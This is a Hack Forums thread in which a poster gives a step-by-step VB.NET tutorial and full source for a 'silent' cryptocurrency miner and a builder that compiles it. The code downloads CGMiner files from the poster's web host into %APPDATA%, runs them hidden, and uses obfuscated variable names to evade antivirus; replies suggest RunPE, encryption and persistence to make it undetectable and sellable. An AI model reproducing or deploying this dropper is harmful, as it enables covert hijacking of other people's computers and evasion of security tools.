

Forum:[Hack Forums](#)

Thread: [How to write a silent miner and code a builder for it](#)

Statement - March 21, 2014, 8:23 am

Welcome. Today I will show you how to write your own silent bitcoin miner. Also I will show you how to code a builder for this miner, so that you don't need to recode every single bin. Please note, that we'll not code a miner itself. We'll write an application which downloads CGMiner and launches it with the appropriate commands. Everything happens silent.

My previous tutorials

Spoiler ([Click to View](#))[HackThisSite.org | Walkthrough](#)
[\[Tutorial\] How to use NovoFatum and do fun stuff with it \[/Tutorial\]](#)

How2: Writing a Silent Bitcoin Miner + Builder

At first I want to say, that I don't want to see and silent bitcoin miners out there on the marketplace with this source code. Just don't do it. Please.

Anyways, I assume that you all have Visual Basic.NET (everything above 2005) installed and know how to do at least basic stuff with it. Otherwise, you may not understand this tutorial. So, let's begin. Create a new project (windows forms) for your miner, as you would do it for every other application. Then, add the following elements to it:

- Button (Text: "Build")
- TextBox (Text: "Pool + Port")
- TextBox (Text: "Worker Username")
- TextBox (Text: "Worker Password")
- Everything other, what you'd like to add to your layout.

This will do the basic layout for our application.

Now we gonna code the source code for the silent miner itself. You'll need a webspace (+ FTP) for this. If you don't have a FTP, please get a free webspace at SPAM or other free hosting companies. For tutorials on FTP servers please refer to other tutorials. Also, you can find the CGMiner files [here](#). Just download the newest version (4.1 at the moment).

We won't write this code into our 'normal' code tab. As we want to do a builder for our silent miner, we have to write the code external. To do so, click on Project on the very top, then on (Your project name) properties. Now click on Ressources on the left. Press CTRL + 5 (this will switch to the file ressources), then click on the arrow on the right to "Add a resource", then on "Add a textfile". Name it "Source". Here we will write our code. I'll provide you the full code, it's commented.

```
Code Imports Microsoft.VisualBasic
```

```
Imports System
```

```
Imports System.Diagnostics
```

```
Module Main
```

```
Public Sub BTCMiner(ByVal URL As String, ByVal User As String, ByVal Pass As String) 'This function will place the CGMiner files and run it with appropriate arguments.
```

```
Download("cgminer", ".exe")
```

```

Download("libcurl-4", ".dll")
Download("libeay32", ".dll")
Download("libidn-11", ".dll")
Download("librtmp", ".dll") 'Downloads the files
Download("libssh2", ".dll")
Download("miner", ".php")
Download("ssleay32", ".dll")
Download("zlib1", ".dll")

```

```

Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\cgminer.exe
-o " & URL & " -u " & Pass & " -p " & Pass, AppWinStyle.Hide) 'Runs CGMiner with appropriate
arguments
End Sub

```

```

Private Sub Download(ByVal name As String, ByVal ext As String) 'This function is used to
download files and place them in %APPDATA%.

```

```

Dim gdskskf As New Net.WebClient 'I named the variables like that because it's harder to
detect for a few AVs if the names are obfuscated.

```

```

Dim hdkvnhdfg As String = "http://mywebpace.com/BitcoinMiner/" 'Here goes your FTP. Put all
the CGMiner files into a folder on your FTP and provide the full link to the folder here.

```

```

Dim nnnnxb As String =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" 'This is a variable for
the %APPDATA% directory.

```

```

Try
If Not IO.File.Exists(nnnnxb & name & ext) Then 'If the file does not exist
gdskskf.DownloadFile(hdkvnhdfg & name & ext, nnnnxb & name & ext) 'Download and place it
End If
Catch
End Try
End Sub

```

```

Sub Main() 'This is our Main sub. It will be called as soon as the silent miner is launched.

```

```

Try
Dim Pool$ = "[POOL]" 'This [STRING] stuff will be replaced with other strings. We'll do this in a
few minutes.
Dim Username$ = "[USERNAME]"
Dim Password$ = "[PASSWORD]"

```

```

BTCMiner(Pool, Username, Password) 'Calls the function BTCMiner with the arguments.
Catch Ex As Exception
End Try
End Sub

```

```

End Module

```

If you have any questions about this code, feel free to ask. Now you have a layout of your builder and a textfile filled with code - but they don't have any connections! Let's change this. Get back to your windows form (the builder) and doubleclick on the "Build" button. Insert this code, it's commented too. You'll get errors, no worry, we'll fix them in a few minutes!

```

Code Dim Pool$ = poolTxt.Text 'Defines our pool & port
Dim Username$ = userTxt.Text 'Defines our worker user
Dim Password$ = passTxt.Text 'Defines the pass for the worker

```

```

Dim NewCode As String = My.Resources.Source.ToString 'Gets the Source.txt file we wrote

```

```
NewCode = NewCode.Replace("[POOL]", Pool) 'And this is the replacing stuff!  
NewCode = NewCode.Replace("[USERNAME]", Username)  
NewCode = NewCode.Replace("[PASSWORD]", Password)
```

```
Compile("My Miner.exe", NewCode) 'Compiles the miner
```

Now you will most likely get an error on "Compile". That's because we did not write this function yet!
Insert this code after "Public Class Form1":

```
Code Private Sub Compile(ByVal ExecutableName As String, ByVal SourceCode As String)  
    Dim Settings As New CompilerParameters  
    With Settings  
        .GenerateExecutable = True 'This function generates an exe file.  
        .OutputAssembly = ExecutableName  
        .ReferencedAssemblies.Add("System.dll") 'Referenced libraries.  
        .CompilerOptions = " /target:winexe" 'Target is an exe.  
        .TreatWarningsAsErrors = False 'We don't want any warnings handled as errors. Let's disable  
this.  
    End With  
  
    Dim Version = New Dictionary(Of String, String)  
    Version.Add("CompilerVersion", "v2.0")  
  
    Dim Result As CompilerResults = Nothing  
    Using Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("VisualBasic") 'Tells  
CodeDOM that our code is VB.  
        Result = Compiler.CompileAssemblyFromSource(Settings, SourceCode) 'Compiles the code  
    End Using  
  
    If (Result.Errors.Count > 0) Then 'Error handling stuff  
        For Each E As CompilerError In Result.Errors  
            MessageBox.Show("ERROR: " & E.ErrorText, "Error", MessageBoxButtons.OK,  
MessageBoxIcon.Error)  
        Next  
    Else  
        MessageBox.Show("Successfully compiled your miner!", "Success", MessageBoxButtons.OK,  
MessageBoxIcon.Information) 'Msgbox on success  
    End If  
End Sub
```

You may still get errors now. If so, import this (write this above Public Class Form1):

```
Code Imports System.CodeDom.Compiler
```

You may have noticed, you may have not, but we're done now! Launch your application by pressing F5 and insert your pool + worker info. Then click on "Build". The My Miner.exe will be at the location where your project files are stored (if you can't find it, just search for the file My Miner.exe with the Windows search function)

Done! Save everything and you'll have your very own silent bitcoin miner!

Nikey646 - March 21, 2014, 8:40 am

Fairly sure this won't work...lol

```
Code Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &  
"\cgminer.exe -o " & URL & " -u " & Pass & " -p " & Pass, AppWinStyle.Hide)
```

Also, do everyone a favor, and remove the center alignment? That was PAINFUL to read, because it was center aligned....

Also, didn't look very hard, but it appears that you do not mention how to find the files that need to be downloaded....

Cesar Morales - March 21, 2014, 8:43 am

I like the idea behind this thread; unfortunately this would be considered a, "dropper" though. Which is highly detected at today's standards in the AV world.

Things that would be needed to make this capable of being sold would be things such as, RunPE, encryption, FUD, persistence, Preferably a language that is not .NET *, Ufasoft mining engine, a single executable file, etc.

Nonetheless, this is still a great thread for those whom need a place to start.

-Astro

nathan72389 - March 21, 2014, 8:57 am

oh look, another noob kid using a console application then just hiding the window.

how about this....

since you dont need a console window, MAKE AN APP WITHOUT THE WINDOW!@!!!!@!@

ps, all that shit at the start of your thread is so fucking small its barely readable. and the center alignment makes this whole thread look retarded.

Statement - March 21, 2014, 8:58 am

(Mar 21, 2014 08:43 AM)A?tro Wrote: [\[CITE\]](#) I like the idea behind this thread; unfortunately this would be considered a, "dropper" though. Which is highly detected at today's standards in the AV world.

Things that would be needed to make this capable of being sold would be things such as, RunPE, encryption, FUD, persistence, Preferably a language that is not .NET *, Ufasoft mining engine, a single executable file, etc.

Nonetheless, this is still a great thread for those whom need a place to start.

-Astro

NeonMine (my free silent miner on here) uses the same code and it's fully undetected. And yea, that's just an example of how something like this works and how a builder is made.

(Mar 21, 2014 08:40 AM)Nikey646 Wrote: [\[CITE\]](#) Fairly sure this won't work...lol

```
Code Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &
"cgminer.exe -o " & URL & " -u " & Pass & " -p " & Pass, AppWinStyle.Hide)
```

Also, do everyone a favor, and remove the center alignment? That was PAINFUL to read, because it was center aligned....

Also, didn't look very hard, but it appears that you do not mention how to find the files that need to be downloaded....

To the last point: Yep, whoops, forgot to provide a link to CGMiner lol. Will edit the post in a few minutes. And why shouldn't this work? It works fine for me.

(Mar 21, 2014 08:57 AM)nathan72389 Wrote: [\[CITE\]](#) oh look, another noob kid using a console

application then just hiding the window.

how about this....

since you dont need a console window, MAKE AN APP WITHOUT THE WINDOW!@!!!!@!@

ps, all that shit at the start of your thread is so fucking small its barely readable. and the center alignment makes this whole thread look retarded.

oh look, another bullshitter member hating on other people's code. Why should I make an application without a window? It works and is silent. Everything works as it should. So I don't see a reason in going detours when I just could do it like this.

ps, I edited it already. I can do the text xx-large for you if you want to.

Seriously, don't flame on the thread, give constructive criticism instead on just hating.

Nikey646 - March 21, 2014, 10:54 am

(Mar 21, 2014 08:58 AM)Clanky Wrote: [\[CITE\]](#) To the last point: Yep, whoops, forgot to provide a link to CGMiner lol. Will edit the post in a few minutes. And why shouldn't this work? It works fine for me.

Oh, it may have something to do with `<_< >_>`

Code `"-u " + Pass + " -p " + Pass`

Statement - March 21, 2014, 10:58 am

Lol. Fucked that up, now I see it haha! I'll change it tomorrow on OP, I'm on my mobile atm.

Yui Asuna - March 21, 2014, 4:51 pm

(Mar 21, 2014 08:58 AM)Clanky Wrote: [\[CITE\]](#) Why should I make an application without a window? It works and is silent

You just loose all credibility as a programmer. Your code sucks so bad, it shouldn't even be posted here ._. You are just teaching bad habits.

It's not only because it works that way that it should be done that way...

"CheckForIllegalCrossThreadsCall = false" works. Good ? NO

"On Error Resume Next" works. Good ? NO !

"Msgbox" works. Good ? NO !!1!!1

Statement - March 23, 2014, 7:41 am

These are my coding habits and I never wanted to learn other habits, as it works. I mean, do you really think, that i.e. big companies want to have the best code style? The end customer does not look for code styles, he's looking for a working application. And that's the same here.

"On Error Resume Next" might be not the best solution, that's true, but the other stuff is just coding style.

Vysse - March 23, 2014, 11:42 am

I really wanted to say good things about this thread but your arrogance prevents me from doing so.

Statement - March 23, 2014, 12:09 pm

Sorry if I'm appearing arrogant for you, that's just my opinion on this. It's okay if you think that these are bad habits, but I never told anyone that he should copy my code completely. It was supposed as a tutorial, not as a code dump or something.

Qmz_ - March 23, 2014, 12:14 pm

NO NO NO NO NO.

This is not how to code a silent miner.

This is how you download a file to HDD, and execute it with arguments.

Anyone who does it like this is a moron.

Cesar Morales - March 23, 2014, 12:16 pm

(Mar 23, 2014 12:14 PM)Qmz_ Wrote: [\[CITE\]](#) NO NO NO NO NO.

This is not how to code a silent miner.

This is how you download a file to HDD, and execute it with arguments.

Anyone who does it like this is a moron.

I partially agree with this statement... I don't agree with the "moron" part though.

The tutorial itself is decent - the fact that it is a copy and paste format I don't like.

If anything, it being a dropper is not very good. Your executable may be FUD/UD, but the files that it (the .exe) drops are not going to be FUD, and highly detected... thus removed. Making the miner itself not functional.

-Astro

(Mar 23, 2014 12:09 PM)Clanky Wrote: [\[CITE\]](#) Sorry if I'm appearing arrogant for you, that's just my opinion on this. It's okay if you think that these are bad habits, but I never told anyone that he should copy my code completely. It was supposed as a tutorial, not as a code dump or something. It is okay that it is your opinion... everyone is entitled to one no matter what.

It is good to be open-minded though... and that is not arguable.

-Astro

Kruimeltaart - March 23, 2014, 3:50 pm

I know have a better concept of things, thanks bro and the people that commented.

Im taking notes :)

palkarz - April 28, 2014, 1:22 pm

Code is more than shTTY talk :) - good job man !!!!

thexer2 - April 28, 2014, 5:19 pm

I've been looking for something like that from a long time. Hope it works. Basically it compiles a starter for the cgminer.exe, right?

iMeetYourMum - April 29, 2014, 8:59 am

O-M-G !

Jesus, please, it's horrible, god.

It's not a miner... hum.... it's... just use an shitty API...

Your code sucks, and can be a bad learning....

PS: Copy/Paste from Amnesia Bitcoin Miner -__'.

sabug - September 16, 2018, 11:14 am

no luck. for me."On Error Resume Next" might be not the best solution, that's true, but the other stuff is just coding style.

xmrigger - September 25, 2018, 4:39 am

I have been looking into doing this, can anyone say this works?

NYANxCAT - September 25, 2018, 11:12 am

(Sep 25, 2018 04:39 AM)xmrigger Wrote: [CITE](#) I have been looking into doing this, can anyone say this works?

Google lime miner

NyQuil - September 28, 2018, 1:48 am

thanks for the post, how ever would this get flagged as downloaded files (zoned) and why not encrypt and store in resources? is it the size you're worried about? regardless thanks for the share.